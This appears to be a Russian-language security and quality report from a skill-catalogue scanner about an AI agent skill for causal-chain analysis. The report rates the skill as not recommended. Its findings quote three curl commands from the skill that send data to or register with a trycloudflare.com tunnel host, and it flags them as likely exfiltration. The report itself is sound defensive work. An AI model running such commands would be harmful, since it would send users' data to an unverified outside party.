SKILLEMALL.ai
GitHub ↗ EN Войти

DC v19-causal-dependency-analyzer

Системное междоменное отслеживание причинно-следственных связей: ввод последовательности событий, вывод графа причинно-следственных путей и расчет веса риска для каждого пути. В версии 1.3.0 добавлено точное определение ответственности: анализ цепочки сбойных событий для точного отслеживания до «какого ограничения процесса является конечным ответственным за сбой» на основе установленных протоколов. Исходный код из системных модулей V19 causal_path_engine.py + responsibility_chain.py, проверено в цепочке аудита V89.

машинный переводПоказать оригиналСкрыть оригинал«系统级跨域因果链溯源——输入事件序列，输出网状因果路径图谱并计算每条路径的风险权重。v1.3.0新增精确责任归因：分析失败事件链，基于既定协…»

系统级跨域因果链溯源——输入事件序列，输出网状因果路径图谱并计算每条路径的风险权重。v1.3.0新增精确责任归因：分析失败事件链，基于既定协议精确追溯到"哪个流程约束是导致失败的最终责任方"。源自V19系统模块causal_path_engine.py + responsibility_chain.py，已在V89审计链中验证。

Не рекомендуетсяесть критические или высокие находки безопасности · низкая оценка D
ClawHub Agent Skills автор: Liuyanfeng1234 v1.3.1 MIT-0 2 файла тело ≈ 870 токенов Открыть источникclawhub.ai↗ проанализирован 3 дн назад

Системное междоменное отслеживание причинно-следственных связей: ввод последовательности событий, вывод графа причинно-следственных путей и расчет веса риска…

Как процесс C 50/100 · Есть пробелы — слабые места: результат и критерий готовности, когда включается, входы и предусловия

АнализаторИнфраструктуратип и темы размечены автоматически по тексту скилла
Запускается в: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Технический рейтинг
D
56/100
безопасность, качество, тесты
Безопасность 60%
46
Качество 40%
72
Прогон на моделях
не было
Процессный рейтинг
C
50/100
Есть пробелы
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
три самых слабых из десяти параметров · все десять

Чем это грозит

Скилл содержит фрагменты, которые в чужих руках стоят денег или данных. Ниже, что рискует потерять тот, кто установит, и что должен сделать автор.

Утечка данных
Если установить

Инструкции или скрипты отправляют данные наружу: переменные окружения, ключи, содержимое файлов, историю чата. Вы можете не заметить этого в диалоге, потому что агент выполнит отправку как «часть задачи».

Автору

Если отправка не нужна для задачи, уберите её: каталоги помечают такие скиллы как подозрительные и снимают с выдачи. Если нужна, назовите адрес явно, объясните, что именно уходит, и дайте пользователю выключатель.

Как улучшить

  1. Разберите находки высокой серьёзности: каждая стоит 18 баллов безопасности. Если это ложное срабатывание, добавьте код правила в guard.allow в spec.yaml.
  2. Скажите в description, КОГДА применять скилл («используй, когда…», примеры запросов): это главный сигнал для агента.
Для прогона на моделях — необязательно
  • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
  • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

Находки guard · 3

  • высокая Утечка данных exfil-webhook-url SKILL.md:88
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/causal-path-graph \
  • высокая Утечка данных exfil-webhook-url SKILL.md:133
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    curl -s https://boat-atlas-spa-flexible.trycloudflare.com/governance/health \
  • высокая Утечка данных exfil-webhook-url SKILL.md:140
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/register \

Просканировано файлов: 2. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

По спецификации Agent Skills

  • предупреждение description-no-when description не говорит, КОГДА применять скилл (нет "use when / используй когда")

Процессный рейтинг: все десять параметров 50/100

  • 0Результат и критерий готовности. Не сказано, что считать результатом
  • 0Входы и предусловия. Не сказано, что нужно иметь на входе
  • 0Ошибки и развилки. Линейный процесс без обработки сбоев
  • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
  • 20Когда включается. Не сказано, при каком запросе скилл включается
  • 75Шаги. Шагов: 3
  • 100Инструменты и файлы. Внешние инструменты не нужны
  • 100Согласованность. Имя и обязательные поля на месте
  • 100Стоимость исполнения. Тело инструкции 870 токенов
  • 100Повторный запуск. Изменяющих операций нет

Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

Сигналы качества

  • +5В description нет примеров фраз, по которым скилл должен срабатывать
  • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
  • +3Формат ответа не описан: модель каждый раз решает сама
  • +1Лицензия не указана
  • +2Инструкции на одном языке
  • +3Длина description 165 символов: достаточно сигнала, не съедает бюджет
  • +4Структура: 13 заголовков
  • +3Пошаговые инструкции: 3 пунктов
  • +4Есть примеры (6 блоков кода)

База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 72.

Внешние проверки

ClawHub: suspicious
This markdown-only skill is not local malware, but it directs users to send causal-event and protocol data to an unverified external API using a public/shared key and self-registration flow.
LLM: suspicious (high) · VirusTotal: · 29 мая 2026 г.